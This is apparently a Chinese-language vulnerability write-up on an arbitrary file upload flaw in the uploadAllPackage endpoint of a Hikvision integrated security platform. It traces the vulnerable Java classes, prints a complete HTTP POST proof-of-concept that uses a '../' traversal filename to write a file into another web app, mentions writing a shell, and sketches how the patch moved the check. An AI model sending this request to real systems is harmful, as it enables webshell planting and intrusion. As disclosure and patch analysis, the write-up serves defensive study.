综合安防 uploadAllPackage任意文件上传

❝

综合安防 uploadAllPackage任意文件上传

漏洞细节

漏洞点位于

webapps/center_install/WEB-INF/classes/com/hikvision/center/controller/UploadFileController.class

在这里我们可以很直观的看到功能点这个是一个上传zip文件的功能点，接受参数为sendfile，继续跟进

webapps/center_install/WEB-INF/classes/com/hikvision/center/service/config/impl/ConfigUploadFileServiceImpl.class

这里只有一个调用，继续跟进查看

webapps/center_install/WEB-INF/classes/com/hikvision/center/service/config/util/ConfigUploadFileServiceUtil.class

看了看其实也没啥就是检测文件在不在，一些简单操作，然后就会create创建文件，既然如此先打一波看看文件会生成不


文件生成，直接扩目录写shell试试


结束下线 数据包

POST /center_install/picUploadService/v1/uploadAllPackage/image HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Host: 192.168.52.228:8001
Accept-Encoding: gzip, deflate
Connection: close
Token: SElLIGlhL3NmaGNjaTY3WWxWK0Y6UzVCcjg1a2N1dENqVUNIOUM3SE1GamNkN2dnTE1BN1dGTDJldFE0UXFvbz0=
Content-Type: multipart/form-data; boundary=--------------------------553898708333958420021355
Content-Length: 233

----------------------------553898708333958420021355
Content-Disposition: form-data; name="sendfile"; filename="../../../../components/tomcat85linux64.1/webapps/eportal/y4.js"
Content-Type: application/octet-stream

expzhizhuo
----------------------------553898708333958420021355--

修复

既然我们知道漏洞触发的过程，那我们打上补丁看看漏洞修复的思路

直接粗暴的将判断语句提前了，这样就不会出现任意跨目录写文件的问题了